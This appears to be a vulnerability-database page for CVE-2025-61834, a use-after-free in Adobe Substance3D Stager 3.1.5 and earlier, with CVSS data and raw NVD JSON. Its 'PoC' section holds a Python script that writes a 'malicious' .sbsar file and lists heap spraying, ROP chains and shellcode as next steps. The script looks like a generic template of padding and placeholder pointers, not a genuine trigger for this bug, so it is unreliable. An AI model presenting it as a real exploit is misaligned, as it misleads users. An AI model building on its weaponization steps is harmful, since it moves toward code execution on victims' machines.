Security Vulnerability Report
中文
CVE-2025-61834 CVSS 7.8 HIGH

CVE-2025-61834

Published: 2025-11-11 21:15:39
Last Modified: 2025-11-12 18:40:53

Description

Substance3D - Stager versions 3.1.5 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Substance3D Stager <= 3.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-61834 PoC - Adobe Substance3D Stager Use After Free # This is a proof-of-concept demonstrating the vulnerability trigger mechanism # Note: Actual exploitation requires detailed memory analysis and ROP chain construction import struct import os def create_malicious_sbsar(target_version="3.1.5"): """ Generate a malicious SBSAR file to trigger Use After Free in Adobe Substance3D Stager This PoC demonstrates the file structure needed to trigger the vulnerability """ # SBSAR file header header = b'SBSAR' # File signature version = struct.pack('<I', 0x00010000) # Version 1.0 # Malicious payload that triggers UAF condition # The specific bytes depend on the vulnerable code path trigger_bytes = b'\x00' * 256 # Padding to reach vulnerable allocation # Heap spray-friendly pattern # In real exploitation, this would contain ROP gadgets and shellcode spray_pattern = b'\x41' * 1024 # NOP sled equivalent # Crafted data structure to trigger free() without pointer nullification uaf_trigger = struct.pack('<Q', 0x4141414141414141) # Fake vtable pointer uaf_trigger += struct.pack('<Q', 0x4242424242424242) # Destructor pointer uaf_trigger += struct.pack('<Q', 0x4343434343434343) # Additional data # File metadata that triggers specific code path metadata = b'\x00' * 128 metadata += struct.pack('<I', 0x00000001) # Flag indicating complex object metadata += struct.pack('<I', 0x00001000) # Size hint # Combine all parts malicious_file = header + version + trigger_bytes + spray_pattern + uaf_trigger + metadata return malicious_file def main(): print("CVE-2025-61834 Adobe Substance3D Stager UAF PoC Generator") print("=" * 60) print("WARNING: This code is for educational and research purposes only") print("Unauthorized exploitation of this vulnerability is illegal") print("=" * 60) # Generate malicious file poc_data = create_malicious_sbsar() # Save to file output_file = "CVE-2025-61834_malicious.sbsar" with open(output_file, 'wb') as f: f.write(poc_data) print(f"\nMalicious file generated: {output_file}") print(f"File size: {len(poc_data)} bytes") print("\nTo test this vulnerability:") print("1. Install Adobe Substance3D Stager <= 3.1.5") print("2. Open the generated .sbsar file with the vulnerable software") print("3. Monitor for crash or unexpected behavior") print("\nNote: Full exploitation requires additional techniques:") print("- Heap feng shui to control allocation layout") print("- ROP chain to bypass DEP/ASLR") print("- Shellcode for desired payload execution") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61834", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:39.403", "lastModified": "2025-11-12T18:40:52.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Stager versions 3.1.5 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.6", "matchCriteriaId": "6EEF4010-0833-4D6B-9C45-FC8F85B3496A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_stager/apsb25-113.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}